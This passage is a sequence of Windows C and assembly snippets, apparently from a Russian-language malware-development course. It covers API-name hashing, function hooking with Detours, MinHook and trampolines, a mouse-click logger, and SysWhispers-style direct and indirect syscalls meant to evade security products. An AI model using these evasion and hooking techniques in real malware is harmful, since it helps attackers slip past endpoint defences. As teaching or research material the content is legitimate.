        __TIME__[7] * 1 +
        __TIME__[6] * 10 +
        __TIME__[4] * 60 +
        __TIME__[3] * 600 +
        __TIME__[1] * 3600 +
        __TIME__[0] * 36000;
};

constexpr auto g_KEY = RandomCompileTimeSeed() % 0xFF;

// Функция хеширования Djb2 во время компиляции (WIDE)
constexpr DWORD HashStringDjb2W(const wchar_t* String) {
    ULONG Hash = (ULONG)g_KEY;
    INT c = 0;
    while ((c = *String++)) {
        Hash = ((Hash << SEED) + Hash) + c;
    }

    return Hash;
}

// Функция хеширования Djb2 во время компиляции (ASCII)
constexpr DWORD HashStringDjb2A(const char* String) {
    ULONG Hash = (ULONG)g_KEY;
    INT c = 0;
    while ((c = *String++)) {
        Hash = ((Hash << SEED) + Hash) + c;
    }

    return Hash;
}

// макросы хеширования во время выполнения
#define RTIME_HASHA( API ) HashStringDjb2A((const char*) API)
#define RTIME_HASHW( API ) HashStringDjb2W((const wchar_t*) API)
// макросы хеширования во время компиляции (используются для создания переменных)
#define CTIME_HASHA( API ) constexpr auto API##_Rotr32A = HashStringDjb2A((const char*) #API);
#define CTIME_HASHW( API ) constexpr auto API##_Rotr32W = HashStringDjb2W((const wchar_t*) L#API);

FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {

    PBYTE pBase = (PBYTE)hModule;

    PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
    if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return NULL;

    PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return NULL;

    IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader;

    PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
    PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
    PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

    for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
        CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
        PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);

        if (dwApiNameHash == RTIME_HASHA(pFunctionName)) { // проверка значения хеша во время выполнения
            return (FARPROC)pFunctionAddress;
        }
    }

    return NULL;
}

// Если компилируется как 64-бит
#ifdef _M_X64
#pragma comment (lib, "detoursx64.lib")
#endif // _M_X64
// Если компилируется как 32-бит
#ifdef _M_IX86
#pragma comment (lib, "detoursx86.lib")
#endif // _M_IX86

INT WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
  // мы можем проверять hWnd - lpText - lpCaption - параметры uType
}

INT WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
  // Вывод оригинальных значений параметров
  printf("Оригинальный параметр lpText    : %s\n", lpText);
  printf("Оригинальный параметр lpCaption : %s\n", lpCaption);

  // НЕ ДЕЛАЙТЕ ТАК
  // Изменение значений параметров
  return MessageBoxA(hWnd, "другой lpText", "другой lpCaption", uType); // Вызов MessageBoxA (этот хук активен)
}

// Используется как не подцепленная MessageBoxA в `MyMessageBoxA`
fnMessageBoxA g_pMessageBoxA = MessageBoxA;

INT WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
  // Вывод оригинальных значений параметров
  printf("Оригинальный параметр lpText    : %s\n", lpText);
  printf("Оригинальный параметр lpCaption : %s\n", lpCaption);

  // Изменение значений параметров
  // Вызов не подцепленной MessageBoxA
  return g_pMessageBoxA(hWnd, "другой lpText", "другой lpCaption", uType);
}

INT WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
  // Вывод оригинальных значений параметров
  printf("Оригинальный параметр lpText    : %s\n", lpText);
  printf("Оригинальный параметр lpCaption : %s\n", lpCaption);

  // Изменение значений параметров
  return MessageBoxW(hWnd, L"другой lpText", L"другой lpCaption", uType);
}

// Используется как не подцепленная MessageBoxA в `MyMessageBoxA`
// И используется в `DetourAttach` & `DetourDetach`
fnMessageBoxA g_pMessageBoxA = MessageBoxA;

// Функция, которая будет запускаться вместо MessageBoxA при активации хука
INT WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {

    printf("[+] Оригинальные параметры : \n");
    printf("\t - lpText    : %s\n", lpText);
    printf("\t - lpCaption    : %s\n", lpCaption);

    return g_pMessageBoxA(hWnd, "другой lpText", "другой lpCaption", uType);
}

BOOL InstallHook() {

    DWORD    dwDetoursErr = NULL;

      // Создание транзакции и её обновление
    if ((dwDetoursErr = DetourTransactionBegin()) != NO_ERROR) {
        printf("[!] DetourTransactionBegin завершилась ошибкой с кодом : %d \n", dwDetoursErr);
        return FALSE;
    }

    if ((dwDetoursErr = DetourUpdateThread(GetCurrentThread())) != NO_ERROR) {
        printf("[!] DetourUpdateThread завершилась ошибкой с кодом : %d \n", dwDetoursErr);
        return FALSE;
    }

      // Запуск MyMessageBoxA вместо g_pMessageBoxA, который является MessageBoxA
    if ((dwDetoursErr = DetourAttach((PVOID)&g_pMessageBoxA, MyMessageBoxA)) != NO_ERROR) {
        printf("[!] DetourAttach завершилась ошибкой с кодом : %d \n", dwDetoursErr);
        return FALSE;
    }

      // Фактическая установка хука происходит после `DetourTransactionCommit` - подтверждение транзакции
    if ((dwDetoursErr = DetourTransactionCommit()) != NO_ERROR) {
        printf("[!] DetourTransactionCommit завершилась ошибкой с кодом : %d \n", dwDetoursErr);
        return FALSE;
    }

    return TRUE;
}

// Используется как не подцепленная MessageBoxA в `MyMessageBoxA`
// И используется в `DetourAttach` & `DetourDetach`
fnMessageBoxA g_pMessageBoxA = MessageBoxA;

// Функция, которая будет запускаться вместо MessageBoxA при активации хука
INT WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {

    printf("[+] Оригинальные параметры : \n");
    printf("\t - lpText    : %s\n", lpText);
    printf("\t - lpCaption    : %s\n", lpCaption);

    return g_pMessageBoxA(hWnd, "другой lpText", "другой lpCaption", uType);
}

BOOL Unhook() {

    DWORD    dwDetoursErr = NULL;

      // Создание транзакции и её обновление
    if ((dwDetoursErr = DetourTransactionBegin()) != NO_ERROR) {
        printf("[!] DetourTransactionBegin завершилась ошибкой с кодом : %d \n", dwDetoursErr);
        return FALSE;
    }

    if ((dwDetoursErr = DetourUpdateThread(GetCurrentThread())) != NO_ERROR) {
        printf("[!] DetourUpdateThread завершилась ошибкой с кодом : %d \n", dwDetoursErr);
        return FALSE;
    }

      // Удаление хука из MessageBoxA
    if ((dwDetoursErr = DetourDetach((PVOID)&g_pMessageBoxA, MyMessageBoxA)) != NO_ERROR) {
        printf("[!] DetourDetach завершилась ошибкой с кодом : %d \n", dwDetoursErr);
        return FALSE;
    }

      // Фактическое удаление хука происходит после `DetourTransactionCommit` - подтверждение транзакции
    if ((dwDetoursErr = DetourTransactionCommit()) != NO_ERROR) {
        printf("[!] DetourTransactionCommit завершилась ошибкой с кодом : %d \n", dwDetoursErr);
        return FALSE;
    }

    return TRUE;
}

int main() {

    // Будет выполнено - не подцеплено
    MessageBoxA(NULL, "Что вы думаете о разработке вредоносных программ?", "Оригинальное сообщение", MB_OK | MB_ICONQUESTION);

//------------------------------------------------------------------
    //  Установка хука
    if (!InstallHook())
        return -1;

//------------------------------------------------------------------
    // Не будет выполнено - будет запущена функция MyMessageBoxA вместо этого
    MessageBoxA(NULL, "Разработка вредоносных программ - это плохо", "Оригинальное сообщение", MB_OK | MB_ICONWARNING);

//------------------------------------------------------------------
    //  Удаление хука
    if (!Unhook())
        return -1;

//------------------------------------------------------------------
    //  Будет выполнено - хук удален
    MessageBoxA(NULL, "Снова обычное сообщение", "Оригинальное сообщение", MB_OK | MB_ICONINFORMATION);

      return 0;
}

fnMessageBoxA g_pMessageBoxA = NULL;

INT WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
printf("[+] Оригинальные параметры : \n");
printf("\t - lpText    : %s\n", lpText);
printf("\t - lpCaption    : %s\n", lpCaption);

return g_pMessageBoxA(hWnd, "Разный lpText", "Разный lpCaption", uType);
}

BOOL InstallHook() {

DWORD     dwMinHookErr = NULL;

if ((dwMinHookErr = MH_Initialize()) != MH_OK) {
    printf("[!] MH_Initialize завершился с ошибкой : %d \n", dwMinHookErr);
    return FALSE;
}

// Установка хука на MessageBoxA, чтобы запускать MyMessageBoxA вместо него
// g_pMessageBoxA будет указателем на оригинальную функцию MessageBoxA
if ((dwMinHookErr = MH_CreateHook(&MessageBoxA, &MyMessageBoxA, &g_pMessageBoxA)) != MH_OK) {
    printf("[!] MH_CreateHook завершился с ошибкой : %d \n", dwMinHookErr);
    return FALSE;
}

// Активация хука на MessageBoxA
if ((dwMinHookErr = MH_EnableHook(&MessageBoxA)) != MH_OK) {
    printf("[!] MH_EnableHook завершился с ошибкой : %d \n", dwMinHookErr);
    return -1;
}

return TRUE;
}

BOOL Unhook() {

DWORD     dwMinHookErr = NULL;

if ((dwMinHookErr = MH_DisableHook(&MessageBoxA)) != MH_OK) {
    printf("[!] MH_DisableHook завершился с ошибкой : %d \n", dwMinHookErr);
    return -1;
}

if ((dwMinHookErr = MH_Uninitialize()) != MH_OK) {
    printf("[!] MH_Uninitialize завершился с ошибкой : %d \n", dwMinHookErr);
    return -1;
}
}

int main() {

// будет выполняться
MessageBoxA(NULL, "Что вы думаете о разработке вредоносных программ?", "Оригинальное сообщение", MB_OK | MB_ICONQUESTION);

// подмена
if (!InstallHook())
    return -1;

// не будет выполняться - подменено
MessageBoxA(NULL, "Разработка вредоносных программ - это плохо", "Оригинальное сообщение", MB_OK | MB_ICONWARNING);

// отмена подмены
if (!Unhook())
    return -1;

// будет выполняться - хук отключен
MessageBoxA(NULL, "Снова обычное сообщение", "Оригинальное сообщение", MB_OK | MB_ICONINFORMATION);

return 0;
}

mov r10, pAddress
jmp r10

0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pAddress
0x41, 0xFF, 0xE2                                            // jmp r10

mov eax, pAddress
jmp eax

0xB8, 0x00, 0x00, 0x00, 0x00,     // mov eax, pAddress
0xFF, 0xE0                        // jmp eax

//64-битное пропатчивание
uint8_t        uTrampoline[] = {
            0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pFunctionToRun
            0x41, 0xFF, 0xE2                                            // jmp r10
};
uint64_t uPatch = (uint64_t)pAddress;
memcpy(&uTrampoline[2], &uPatch, sizeof(uPatch)); // копирование адреса в смещение '2' в uTrampoline

//32-битное пропатчивание
uint8_t        uTrampoline[] = {
       0xB8, 0x00, 0x00, 0x00, 0x00,     // mov eax, pFunctionToRun
       0xFF, 0xE0                        // jmp eax
};
uint32_t uPatch = (uint32_t)pAddress;
memcpy(&uTrampoline[1], &uPatch, sizeof(uPatch)); // копирование адреса в смещение '1' в uTrampoline

// Изменение разрешений памяти в 'pFunctionToHook' на PAGE_EXECUTE_READWRITE
if (!VirtualProtect(pFunctionToHook, sizeof(uTrampoline), PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
    return FALSE;
}
// Копирование трамплинового шеллкода в 'pFunctionToHook'
memcpy(pFunctionToHook, uTrampoline, sizeof(uTrampoline));

memcpy(pFunctionToHook, pOriginalBytes, sizeof(pOriginalBytes));

if (!VirtualProtect(pFunctionToHook, sizeof(uTrampoline), dwOldProtection, &dwOldProtection)) {
    return FALSE;
}

typedef struct _HookSt{

    PVOID    pFunctionToHook;                  // адрес функции для установки хука
    PVOID    pFunctionToRun;                   // адрес функции для выполнения вместо
    BYTE    pOriginalBytes[TRAMPOLINE_SIZE];  // буфер для сохранения некоторых оригинальных байтов (необходим для очистки)
    DWORD    dwOldProtection;                  // сохраняет старое разрешение памяти по адресу "функции для установки хука" (необходимо для очистки)

}HookSt, *PHookSt;

// если компиляция как 64-бит
#ifdef _M_X64
#define TRAMPOLINE_SIZE        13
#endif // _M_X64
// если компиляция как 32-бит
#ifdef _M_IX86
#define TRAMPOLINE_SIZE        7
#endif // _M_IX86

BOOL InstallHook (IN PHookSt Hook) {

#ifdef _M_X64
// 64-битный трамплин
    uint8_t    uTrampoline [] = {
            0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pFunctionToRun
            0x41, 0xFF, 0xE2                                            // jmp r10
    };

    // Пропатчивание шеллкода адресом для перехода (pFunctionToRun)
    uint64_t uPatch = (uint64_t)(Hook->pFunctionToRun);
    // Копирование адреса функции для перехода в смещение '2' в uTrampoline
    memcpy(&uTrampoline[2], &uPatch, sizeof(uPatch));
#endif // _M_X64

#ifdef _M_IX86
// 32-битный трамплин
    uint8_t    uTrampoline[] = {
       0xB8, 0x00, 0x00, 0x00, 0x00,     // mov eax, pFunctionToRun
       0xFF, 0xE0                        // jmp eax
    };

    // Пропатчивание шеллкода адресом для перехода (pFunctionToRun)
    uint32_t uPatch = (uint32_t)(Hook->pFunctionToRun);
    // Копирование адреса функции для перехода в смещение '1' в uTrampoline
    memcpy(&uTrampoline[1], &uPatch, sizeof(uPatch));
#endif // _M_IX86

    // Размещение трамплинной функции - установка хука
    memcpy(Hook->pFunctionToHook, uTrampoline, sizeof(uTrampoline));

    return TRUE;
}

BOOL RemoveHook (IN PHookSt Hook) {

    DWORD    dwOldProtection        = NULL;

    // Копирование оригинальных байтов назад
    memcpy(Hook->pFunctionToHook, Hook->pOriginalBytes, TRAMPOLINE_SIZE);
    // Очистка нашего буфера
    memset(Hook->pOriginalBytes, '\0', TRAMPOLINE_SIZE);
    // Установка старого разрешения памяти обратно в то, что было до установки хука
    if (!VirtualProtect(Hook->pFunctionToHook, TRAMPOLINE_SIZE, Hook->dwOldProtection, &dwOldProtection)) {
        printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Установка всех значений в null
    Hook->pFunctionToHook   = NULL;
    Hook->pFunctionToRun    = NULL;
    Hook->dwOldProtection   = NULL;

    return TRUE;
}

BOOL InitializeHookStruct(IN PVOID pFunctionToHook, IN PVOID pFunctionToRun, OUT PHookSt Hook) {

    // Заполнение структуры
    Hook->pFunctionToHook   = pFunctionToHook;
    Hook->pFunctionToRun    = pFunctionToRun;

    // Сохранение оригинальных байтов того же размера, который мы будем перезаписывать (то есть TRAMPOLINE_SIZE)
    // Это делается для возможности выполнения очистки при завершении
    memcpy(Hook->pOriginalBytes, pFunctionToHook, TRAMPOLINE_SIZE);

    // Изменение разрешения на RWX, чтобы можно было изменять байты
    // Мы сохраняем старое разрешение в структуре (для последующего восстановления)
    if (!VirtualProtect(pFunctionToHook, TRAMPOLINE_SIZE, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection)) {
        printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    return TRUE;
}

int main() {

    // Инициализация структуры (необходима до установки/снятия хука)
    HookSt st = { 0 };

    if (!InitializeHookStruct(&MessageBoxA, &MyMessageBoxA, &st)) {
        return -1;
    }

    // будет запущено
    MessageBoxA(NULL, "Что вы думаете о разработке вредоносного ПО?", "Оригинальное сообщение", MB_OK | MB_ICONQUESTION);

    // установка хука
    if (!InstallHook(&st)) {
        return -1;
    }

    // не будет запущено - с хуком
    MessageBoxA(NULL, "Разработка вредоносного ПО - это плохо", "Оригинальное сообщение", MB_OK | MB_ICONWARNING);

    // снятие хука
    if (!RemoveHook(&st)) {
        return -1;
    }

    // будет запущено - хук отключен
    MessageBoxA(NULL, "Обычное сообщение снова", "Оригинальное сообщение", MB_OK | MB_ICONINFORMATION);

    return 0;
}

HHOOK SetWindowsHookExW(
  [вход] int       idHook,      // Тип процедуры перехвата, который будет установлен
  [вход] HOOKPROC  lpfn,        // Указатель на процедуру перехвата (функцию для выполнения)
  [вход] HINSTANCE hmod,        // Дескриптор DLL, содержащей процедуру перехвата (это оставляют как NULL)
  [вход] DWORD     dwThreadId   // Id потока, с которым будет ассоциирована процедура перехвата (это оставляют как NULL)
);

typedef LRESULT (CALLBACK* HOOKPROC)(int nCode, WPARAM wParam, LPARAM lParam);

LRESULT HookCallbackFunc(int nCode, WPARAM wParam, LPARAM lParam){
  // код функции
}

LRESULT HookCallbackFunc(int nCode, WPARAM wParam, LPARAM lParam){
  // Код функции

  return CallNextHookEx(NULL, nCode, wParam, lParam);
}

LRESULT HookCallbackFunc(int nCode, WPARAM wParam, LPARAM lParam){

    if (wParam == WM_LBUTTONDOWN){
        printf("[ # ] Левый клик мыши \n");
    }

    if (wParam == WM_RBUTTONDOWN) {
        printf("[ # ] Правый клик мыши \n");
    }

    if (wParam == WM_MBUTTONDOWN) {
        printf("[ # ] Средний клик мыши \n");
    }

  return CallNextHookEx(NULL, nCode, wParam, lParam);
}

// Функция обратного вызова, которая будет выполняться каждый раз, когда пользователь кликает кнопкой мыши
LRESULT HookCallback(int nCode, WPARAM wParam, LPARAM lParam){

    if (wParam == WM_LBUTTONDOWN){
        printf("[ # ] Левый клик мыши \n");
    }

    if (wParam == WM_RBUTTONDOWN) {
        printf("[ # ] Правый клик мыши \n");
    }

    if (wParam == WM_MBUTTONDOWN) {
        printf("[ # ] Средний клик мыши \n");
    }

    // переход к следующему перехвату в цепочке перехватов
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}


BOOL MouseClicksLogger(){

    // Установка перехвата
    HHOOK hMouseHook = SetWindowsHookExW(
        WH_MOUSE_LL,
        (HOOKPROC)HookCallback,
        NULL,
        NULL
    );
    if (!hMouseHook) {
        printf("[!] SetWindowsHookExW не удалось с ошибкой : %d \n", GetLastError());
        return FALSE;
    }

    // Поддержание работы потока
    while(1){

    }

    return TRUE;
}


int main() {

    HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)MouseClicksLogger, NULL, NULL, NULL);
    if (hThread)
        WaitForSingleObject(hThread, 10000); // Отслеживание кликов мыши в течение 10 секунд

    return 0;
}

// Функция обратного вызова, которая будет выполняться каждый раз, когда пользователь кликнет кнопкой мыши
LRESULT HookCallback(int nCode, WPARAM wParam, LPARAM lParam){

    if (wParam == WM_LBUTTONDOWN){
        printf("[ # ] Левый клик мыши \n");
    }

    if (wParam == WM_RBUTTONDOWN) {
        printf("[ # ] Правый клик мыши \n");
    }

    if (wParam == WM_MBUTTONDOWN) {
        printf("[ # ] Средний клик мыши \n");
    }

    // Переход к следующему перехвату в цепочке перехватов
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}


BOOL MouseClicksLogger(){

    MSG         Msg         = { 0 };

    // Установка перехвата
    HHOOK hMouseHook = SetWindowsHookExW(
        WH_MOUSE_LL,
        (HOOKPROC)HookCallback,
        NULL,
        NULL
    );
    if (!hMouseHook) {
        printf("[!] SetWindowsHookExW не удалось с ошибкой : %d \n", GetLastError());
        return FALSE;
    }

    // Обработка необработанных событий
    while (GetMessageW(&Msg, NULL, NULL, NULL)) {
        DefWindowProcW(Msg.hwnd, Msg.message, Msg.wParam, Msg.lParam);
    }

    return TRUE;
}


int main() {

    HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)MouseClicksLogger, NULL, NULL, NULL);
    if (hThread)
        WaitForSingleObject(hThread, 10000); // Отслеживание кликов мыши в течение 10 секунд

    return 0;
}

// Глобальная переменная дескриптора перехвата
HHOOK g_hMouseHook      = NULL;

// Функция обратного вызова, которая будет выполняться каждый раз, когда пользователь кликнет кнопкой мыши
LRESULT HookCallback(int nCode, WPARAM wParam, LPARAM lParam){

    if (wParam == WM_LBUTTONDOWN){
        printf("[ # ] Левый клик мыши \n");
    }

    if (wParam == WM_RBUTTONDOWN) {
        printf("[ # ] Правый клик мыши \n");
    }

    if (wParam == WM_MBUTTONDOWN) {
        printf("[ # ] Средний клик мыши \n");
    }

    // Переход к следующему перехвату в цепочке перехватов
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}


BOOL MouseClicksLogger(){

    MSG         Msg         = { 0 };

    // Установка перехвата
    g_hMouseHook = SetWindowsHookExW(
        WH_MOUSE_LL,
        (HOOKPROC)HookCallback,
        NULL,
        NULL
    );
    if (!g_hMouseHook) {
        printf("[!] SetWindowsHookExW не удалось с ошибкой : %d \n", GetLastError());
        return FALSE;
    }

    // Обработка необработанных событий
    while (GetMessageW(&Msg, NULL, NULL, NULL)) {
        DefWindowProcW(Msg.hwnd, Msg.message, Msg.wParam, Msg.lParam);
    }

    return TRUE;
}


int main() {

    HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)MouseClicksLogger, NULL, NULL, NULL);
    if (hThread)
        WaitForSingleObject(hThread, 10000); // Отслеживание кликов мыши в течение 10 секунд

    // Отключение перехвата
    if (g_hMouseHook && !UnhookWindowsHookEx(g_hMouseHook)) {
        printf("[!] UnhookWindowsHookEx не удалось с ошибкой : %d \n", GetLastError());
    }
    return 0;
}

mov r10, rcx
mov eax, SSN
syscall

NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtAllocateVirtualMemory)
    syscall
    ret
NtAllocateVirtualMemory ENDP

NtProtectVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtProtectVirtualMemory)
    syscall
    ret
NtProtectVirtualMemory ENDP

// другие системные вызовы...

NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtAllocateVirtualMemory)
    jmp (address of a syscall instruction)
    ret
NtAllocateVirtualMemory ENDP

NtProtectVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtProtectVirtualMemory)
    jmp (address of a syscall instruction)
    ret
NtProtectVirtualMemory ENDP

// другие системные вызовы...

// ...

NtMapViewOfSection PROC
    mov rax, gs:[60h]                             ; Load PEB into RAX.
NtMapViewOfSection_Check_X_X_XXXX:                ; Check major version.
    cmp dword ptr [rax+118h], 5
    je  NtMapViewOfSection_SystemCall_5_X_XXXX
    cmp dword ptr [rax+118h], 6
    je  NtMapViewOfSection_Check_6_X_XXXX
    cmp dword ptr [rax+118h], 10
    je  NtMapViewOfSection_Check_10_0_XXXX
    jmp NtMapViewOfSection_SystemCall_Unknown
NtMapViewOfSection_Check_6_X_XXXX:               ; Check minor version for Windows Vista/7/8.
    cmp dword ptr [rax+11ch], 0
    je  NtMapViewOfSection_Check_6_0_XXXX
    cmp dword ptr [rax+11ch], 1
    je  NtMapViewOfSection_Check_6_1_XXXX
    cmp dword ptr [rax+11ch], 2
    je  NtMapViewOfSection_SystemCall_6_2_XXXX
    cmp dword ptr [rax+11ch], 2
    je  NtMapViewOfSection_SystemCall_6_3_XXXX
    jmp NtMapViewOfSection_SystemCall_Unknown
NtMapViewOfSection_Check_6_0_XXXX:               ; Check build number for Windows Vista.
    cmp dword ptr [rax+120h], 6000
    je  NtMapViewOfSection_SystemCall_6_0_6000
    cmp dword ptr [rax+120h], 6001
    je  NtMapViewOfSection_SystemCall_6_0_6001
    cmp dword ptr [rax+120h], 6002
    je  NtMapViewOfSection_SystemCall_6_0_6002
    jmp NtMapViewOfSection_SystemCall_Unknown
NtMapViewOfSection_Check_6_1_XXXX:               ; Check build number for Windows 7.
    cmp dword ptr [rax+120h], 7600
    je  NtMapViewOfSection_SystemCall_6_1_7600
    cmp dword ptr [rax+120h], 7601
    je  NtMapViewOfSection_SystemCall_6_1_7601
    jmp NtMapViewOfSection_SystemCall_Unknown
NtMapViewOfSection_Check_10_0_XXXX:              ; Check build number for Windows 10.
    cmp dword ptr [rax+120h], 10240
    je  NtMapViewOfSection_SystemCall_10_0_10240
    cmp dword ptr [rax+120h], 10586
    je  NtMapViewOfSection_SystemCall_10_0_10586
    cmp dword ptr [rax+120h], 14393
    je  NtMapViewOfSection_SystemCall_10_0_14393
    cmp dword ptr [rax+120h], 15063
    je  NtMapViewOfSection_SystemCall_10_0_15063
    cmp dword ptr [rax+120h], 16299
    je  NtMapViewOfSection_SystemCall_10_0_16299
    cmp dword ptr [rax+120h], 17134
    je  NtMapViewOfSection_SystemCall_10_0_17134
    cmp dword ptr [rax+120h], 17763
    je  NtMapViewOfSection_SystemCall_10_0_17763
    cmp dword ptr [rax+120h], 18362
    je  NtMapViewOfSection_SystemCall_10_0_18362
    cmp dword ptr [rax+120h], 18363
    je  NtMapViewOfSection_SystemCall_10_0_18363
    jmp NtMapViewOfSection_SystemCall_Unknown
NtMapViewOfSection_SystemCall_5_X_XXXX:          ; Windows XP and Server 2003
    mov eax, 0025h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_6_0_6000:          ; Windows Vista SP0
    mov eax, 0025h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_6_0_6001:          ; Windows Vista SP1 and Server 2008 SP0
    mov eax, 0025h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_6_0_6002:          ; Windows Vista SP2 and Server 2008 SP2
    mov eax, 0025h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_6_1_7600:          ; Windows 7 SP0
    mov eax, 0025h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_6_1_7601:          ; Windows 7 SP1 and Server 2008 R2 SP0
    mov eax, 0025h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_6_2_XXXX:          ; Windows 8 and Server 2012
    mov eax, 0026h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_6_3_XXXX:          ; Windows 8.1 and Server 2012 R2
    mov eax, 0027h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_10240:        ; Windows 10.0.10240 (1507)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_10586:        ; Windows 10.0.10586 (1511)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_14393:        ; Windows 10.0.14393 (1607)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_15063:        ; Windows 10.0.15063 (1703)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_16299:        ; Windows 10.0.16299 (1709)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_17134:        ; Windows 10.0.17134 (1803)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_17763:        ; Windows 10.0.17763 (1809)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_18362:        ; Windows 10.0.18362 (1903)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_10_0_18363:        ; Windows 10.0.18363 (1909)
    mov eax, 0028h
    jmp NtMapViewOfSection_Epilogue
NtMapViewOfSection_SystemCall_Unknown:           ; Unknown/unsupported version.
    ret
NtMapViewOfSection_Epilogue:
    mov r10, rcx
    syscall
    ret
NtMapViewOfSection ENDP

// ...

mov r10, rcx
mov eax, SSN
syscall
ret

Syscalls-asm.x64.asm

.code

EXTERN SW3_GetSyscallNumber: PROC

EXTERN SW3_GetRandomSyscallAddress: PROC

NtMapViewOfSection PROC
    mov [rsp +8], rcx                      ; Сохранить регистры.
    mov [rsp+16], rdx
    mov [rsp+24], r8
    mov [rsp+32], r9
    sub rsp, 28h
    mov ecx, 01A80161Bh                     ; Загрузить хеш функции в ECX.
    call SW3_GetRandomSyscallAddress        ; Получить смещение системного вызова из другого API.
    mov r15, rax                            ; Сохранить адрес системного вызова {поскольку SW3_GetRandomSyscallAddress вернет адрес инструкции 'syscall' в регистре rax}
    mov ecx, 01A80161Bh                     ; Загрузить хеш функции снова в ECX (необязательно).
    call SW3_GetSyscallNumber               ; Преобразовать хеш функции в номер системного вызова. {Теперь, eax содержит SSN}
    add rsp, 28h
    mov rcx, [rsp+8]                        ; Восстановить регистры.
    mov rdx, [rsp+16]
    mov r8, [rsp+24]
    mov r9, [rsp+32]
    mov r10, rcx
    jmp r15                                 ; Перейти к -> Вызов системного вызова. {r15 - это адрес случайной инструкции 'syscall' в ntdll.dll}
NtMapViewOfSection ENDP

end

EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
    // Ensure SW3_SyscallList is populated.
    if (!SW3_PopulateSyscallList()) return -1;

    for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
    {
        if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
        {
            return i;
        }
    }

    return -1;
}


EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
{
    // Ensure SW3_SyscallList is populated.
    if (!SW3_PopulateSyscallList()) return NULL;

    DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;

    while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
        // Spoofing the syscall return address
        index = ((DWORD) rand()) % SW3_SyscallList.Count;
    }
    return SW3_SyscallList.Entries[index].SyscallAddress;
}

typedef struct _VX_TABLE_ENTRY {
    PVOID   pAddress;             // Адрес функции системного вызова
